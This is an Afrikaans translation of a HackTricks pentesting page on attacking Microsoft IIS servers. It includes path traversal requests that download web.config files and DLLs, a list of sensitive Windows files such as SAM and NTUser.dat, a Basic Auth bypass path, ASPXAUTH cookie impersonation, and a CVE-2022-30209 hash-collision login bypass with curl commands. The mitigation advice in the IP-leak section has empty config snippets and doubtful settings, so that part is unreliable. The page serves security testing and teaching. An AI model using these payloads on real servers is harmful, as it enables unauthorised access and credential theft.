# IIS - Internet Inligtingsdienste
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐩 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
Toets uitvoerbare lĂȘeruitbreidings: * asp * aspx * config * php ## Openbaarmaking van interne IP-adres Op enige IIS-bediener waar jy 'n 302 kry, kan jy probeer om die Host-kop te verwyder en HTTP/1.0 te gebruik. Binne die respons kan die Location-kop na die interne IP-adres verwys: ``` nc -v domain.com 80 openssl s_client -connect domain.com:443 ``` ### Response wat die interne IP-adres bekend maak: As jy 'n HTTP-aanvraag stuur na 'n IIS-bediener, kan jy soms 'n respons ontvang wat die interne IP-adres van die bediener bekend maak. Hierdie inligting kan nuttig wees vir 'n aanvaller om verdere aanvalle te beplan. Dit is belangrik om hierdie inligting te beskerm en te voorkom dat dit uitlek. Om dit te doen, moet jy die volgende stappe volg: 1. Stel die `UseHostName`-parameter in op `true` in die `applicationHost.config`-lĂȘer. Hierdie parameter verseker dat die bediener die hostnaam in plaas van die IP-adres in die HTTP-respons gebruik. ```plaintext ``` 2. Stel die `forwardWindowsAuthToken`-parameter in op `false` in die `applicationHost.config`-lĂȘer. Hierdie parameter voorkom dat die bediener die interne IP-adres in die `WWW-Authenticate`-kop van die respons insluit. ```plaintext ``` Deur hierdie stappe te volg, kan jy die risiko van die bekendmaking van die interne IP-adres van jou IIS-bediener verminder. ``` GET / HTTP/1.0 HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache Pragma: no-cache Location: https://192.168.5.237/owa/ Server: Microsoft-IIS/10.0 X-FEServer: NHEXCHANGE2016 ``` ## Voer .config-lĂȘers uit Jy kan .config-lĂȘers oplaai en dit gebruik om kode uit te voer. Een manier om dit te doen, is om die kode aan die einde van die lĂȘer te voeg binne 'n HTML-kommentaar: [Laai voorbeeld hier af](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) Meer inligting en tegnieke om hierdie kwesbaarheid uit te buit [hier](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) ## IIS Ontdekking Bruteforce Laai die lys af wat ek geskep het: {% file src="../../.gitbook/assets/iisfinal.txt" %} Dit is geskep deur die inhoud van die volgende lyste saam te voeg: [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\ [http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\ [https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\ [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\ [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\ [https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt) Gebruik dit sonder om enige uitbreiding by te voeg, die lĂȘers wat dit nodig het, het dit reeds. ## Pad Traversal ### Uitlek van bronkode Kyk na die volledige bespreking by: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) {% hint style="info" %} As opsomming, daar is verskeie web.config-lĂȘers binne die toepassings se lĂȘers met verwysings na "**assemblyIdentity**" lĂȘers en "**namespaces**". Met hierdie inligting is dit moontlik om te weet **waar uitvoerbare lĂȘers geleĂ« is** en om hulle af te laai.\ Van die **afgelaaide Dlls** is dit ook moontlik om **nuwe namespaces** te vind waar jy probeer toegang kry en die web.config-lĂȘer te kry om nuwe namespaces en assemblyIdentity te vind.\ Ook kan die lĂȘers **connectionstrings.config** en **global.asax** interessante inligting bevat.\ {% endhint %} In **.Net MVC-toepassings** speel die **web.config**-lĂȘer 'n belangrike rol deur elke binĂȘre lĂȘer wat die toepassing afhanklik is, te spesifiseer deur middel van **"assemblyIdentity"** XML-etikette. ### **Verkenning van BinĂȘre LĂȘers** 'n Voorbeeld van toegang tot die **web.config**-lĂȘer word hieronder getoon: ```markup GET /download_page?id=..%2f..%2fweb.config HTTP/1.1 Host: example-mvc-application.minded ``` Hierdie versoek openbaar verskeie instellings en afhanklikhede, soos: - **EntityFramework** weergawe - **AppSettings** vir webbladsye, klientvalidasie, en JavaScript - **System.web** konfigurasies vir outentifikasie en uitvoertyd - **System.webServer** modules-instellings - **Runtime** saamgestelde bindings vir verskeie biblioteke soos **Microsoft.Owin**, **Newtonsoft.Json**, en **System.Web.Mvc** Hierdie instellings dui daarop dat sekere lĂȘers, soos **/bin/WebGrease.dll**, binne die aansoek se /bin-vouer geleĂ« is. ### **HoofgidslĂȘers** LĂȘers wat in die hoofgids gevind word, soos **/global.asax** en **/connectionstrings.config** (wat sensitiewe wagwoorde bevat), is noodsaaklik vir die konfigurasie en werking van die aansoek. ### **Namespaces en Web.Config** MVC-aansoeke definieer ook addisionele **web.config-lĂȘers** vir spesifieke namespaces om herhalende verklarings in elke lĂȘer te voorkom, soos gedemonstreer met 'n versoek om 'n ander **web.config** af te laai: ```markup GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded ``` ### **Aflaai van DLLs** Die vermelding van 'n aangepaste namespace dui op 'n DLL met die naam "**WebApplication1**" wat in die /bin-gids aanwesig is. Daarna word 'n versoek om die **WebApplication1.dll** af te laai, getoon: ```markup GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 Host: example-mvc-application.minded ``` Dit dui op die teenwoordigheid van ander noodsaaklike DLL's, soos **System.Web.Mvc.dll** en **System.Web.Optimization.dll**, in die /bin gids. In 'n scenario waar 'n DLL 'n naamsruimte genaamd **WebApplication1.Areas.Minded** invoer, kan 'n aanvaller die bestaan van ander web.config-lĂȘers in voorspelbare paaie aflei, soos **/area-naam/Views/**, wat spesifieke konfigurasies en verwysings na ander DLL's in die /bin gids bevat. Byvoorbeeld, 'n versoek na **/Minded/Views/web.config** kan konfigurasies en naamsruimtes openbaar wat die teenwoordigheid van 'n ander DLL, **WebApplication1.AdditionalFeatures.dll**, aandui. ### Algemene lĂȘers Van [hier](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) ``` C:\Apache\conf\httpd.conf C:\Apache\logs\access.log C:\Apache\logs\error.log C:\Apache2\conf\httpd.conf C:\Apache2\logs\access.log C:\Apache2\logs\error.log C:\Apache22\conf\httpd.conf C:\Apache22\logs\access.log C:\Apache22\logs\error.log C:\Apache24\conf\httpd.conf C:\Apache24\logs\access.log C:\Apache24\logs\error.log C:\Documents and Settings\Administrator\NTUser.dat C:\php\php.ini C:\php4\php.ini C:\php5\php.ini C:\php7\php.ini C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf C:\Program Files (x86)\Apache Group\Apache\logs\access.log C:\Program Files (x86)\Apache Group\Apache\logs\error.log C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf C:\Program Files (x86)\Apache Group\Apache2\logs\access.log C:\Program Files (x86)\Apache Group\Apache2\logs\error.log c:\Program Files (x86)\php\php.ini" C:\Program Files\Apache Group\Apache\conf\httpd.conf C:\Program Files\Apache Group\Apache\conf\logs\access.log C:\Program Files\Apache Group\Apache\conf\logs\error.log C:\Program Files\Apache Group\Apache2\conf\httpd.conf C:\Program Files\Apache Group\Apache2\conf\logs\access.log C:\Program Files\Apache Group\Apache2\conf\logs\error.log C:\Program Files\FileZilla Server\FileZilla Server.xml C:\Program Files\MySQL\my.cnf C:\Program Files\MySQL\my.ini C:\Program Files\MySQL\MySQL Server 5.0\my.cnf C:\Program Files\MySQL\MySQL Server 5.0\my.ini C:\Program Files\MySQL\MySQL Server 5.1\my.cnf C:\Program Files\MySQL\MySQL Server 5.1\my.ini C:\Program Files\MySQL\MySQL Server 5.5\my.cnf C:\Program Files\MySQL\MySQL Server 5.5\my.ini C:\Program Files\MySQL\MySQL Server 5.6\my.cnf C:\Program Files\MySQL\MySQL Server 5.6\my.ini C:\Program Files\MySQL\MySQL Server 5.7\my.cnf C:\Program Files\MySQL\MySQL Server 5.7\my.ini C:\Program Files\php\php.ini C:\Users\Administrator\NTUser.dat C:\Windows\debug\NetSetup.LOG C:\Windows\Panther\Unattend\Unattended.xml C:\Windows\Panther\Unattended.xml C:\Windows\php.ini C:\Windows\repair\SAM C:\Windows\repair\system C:\Windows\System32\config\AppEvent.evt C:\Windows\System32\config\RegBack\SAM C:\Windows\System32\config\RegBack\system C:\Windows\System32\config\SAM C:\Windows\System32\config\SecEvent.evt C:\Windows\System32\config\SysEvent.evt C:\Windows\System32\config\SYSTEM C:\Windows\System32\drivers\etc\hosts C:\Windows\System32\winevt\Logs\Application.evtx C:\Windows\System32\winevt\Logs\Security.evtx C:\Windows\System32\winevt\Logs\System.evtx C:\Windows\win.ini C:\xampp\apache\conf\extra\httpd-xampp.conf C:\xampp\apache\conf\httpd.conf C:\xampp\apache\logs\access.log C:\xampp\apache\logs\error.log C:\xampp\FileZillaFTP\FileZilla Server.xml C:\xampp\MercuryMail\MERCURY.INI C:\xampp\mysql\bin\my.ini C:\xampp\php\php.ini C:\xampp\security\webdav.htpasswd C:\xampp\sendmail\sendmail.ini C:\xampp\tomcat\conf\server.xml ``` ## HTTPAPI 2.0 404 Fout As jy 'n fout soos die volgende sien: ![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (13).png>) Dit beteken dat die bediener **nie die korrekte domeinnaam** in die Host-kop ingekry het nie.\ Om toegang tot die webblad te verkry, kan jy kyk na die bediende **SSL-sertifikaat** en miskien kan jy die domein/subdomeinnaam daarin vind. As dit nie daar is nie, moet jy dalk **VHosts** met geweld afdwing totdat jy die korrekte een vind. ## Ouer IIS-gebreklikhede wat die moeite werd is om na te kyk ### Microsoft IIS tilde-karakter "\~" Gebrek/Funksie - Kort lĂȘernaam-/vouernaam-onthulling Jy kan probeer om **vouers en lĂȘers** binne elke ontdekte vouer op te som (selfs as dit Basiese Verifikasie vereis) deur hierdie **tegniek** te gebruik.\ Die grootste beperking van hierdie tegniek as die bediener kwesbaar is, is dat dit slegs tot die eerste 6 letters van die naam van elke lĂȘer/vouer en die eerste 3 letters van die uitbreiding van die lĂȘers kan vind. Jy kan [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) gebruik om vir hierdie kwesbaarheid te toets:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` ![](<../../.gitbook/assets/image (183).png>) Oorspronklike navorsing: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf) Jy kan ook **metasploit** gebruik: `use scanner/http/iis_shortname_scanner` ### Basiese Verifikasie omseil **Omseil** 'n basiese verifikasie (**IIS 7.5**) deur te probeer om toegang te verkry tot: `/admin:$i30:$INDEX_ALLOCATION/admin.php` of `/admin::$INDEX_ALLOCATION/admin.php` Jy kan probeer om hierdie **kwesbaarheid** en die vorige een te **kombineer** om nuwe **vouers** te vind en die verifikasie te **omseil**. ## ASP.NET Trace.AXD geaktiveerde foutopsporing ASP.NET sluit 'n foutopsporingsmodus in en sy lĂȘer word `trace.axd` genoem. Dit hou 'n baie gedetailleerde logboek van alle versoek wat oor 'n tydperk na 'n toepassing gestuur word. Hierdie inligting sluit in die IP-adresse van afgeleĂ« kliĂ«nte, sessie-ID's, alle versoek- en antwoordkoekies, fisiese paaie, bronkode-inligting, en moontlik selfs gebruikersname en wagwoorde. [https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/) ![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png) ## ASPXAUTH-koekie ASPXAUTH gebruik die volgende inligting: * **`validationKey`** (string): heksgekodeerde sleutel wat gebruik word vir handtekeningvalidering. * **`decryptionMethod`** (string): (verstek "AES"). * **`decryptionIV`** (string): heksgekodeerde inisialisasievektor (verstek is 'n vektor van nulle). * **`decryptionKey`** (string): heksgekodeerde sleutel wat gebruik word vir dekripsie. Sommige mense sal egter die **verstekwaardes** van hierdie parameters gebruik en die **e-pos van die gebruiker** as **koekie** gebruik. Daarom, as jy 'n webwerf kan vind wat dieselfde platform gebruik en die ASPXAUTH-koekie gebruik, en jy **'n gebruiker met die e-pos van die gebruiker wat jy wil voorstel** op die aangevalle bediener skep, kan jy dalk die koekie van die tweede bediener in die eerste een gebruik en die gebruiker voorstel.\ Hierdie aanval het gewerk in hierdie [**verslag**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19). ## IIS-verifikasie-omseiling met gestoorde wagwoorde (CVE-2022-30209) [Volledige verslag hier](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 'n Fout in die kode het **nie behoorlik vir die wagwoord wat deur die gebruiker gegee is nie**, so 'n aanvaller wie se wagwoordhash 'n sleutel tref wat reeds in die **kas** is, sal in staat wees om as daardie gebruiker aan te meld. ```python # script for sanity check > type test.py def HashString(password): j = 0 for c in map(ord, password): j = c + (101*j)&0xffffffff return j assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT') # before the successful login > curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP HTTP/1.1 401 Unauthorized # after the successful login > curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP HTTP/1.1 200 OK ```
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐩 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.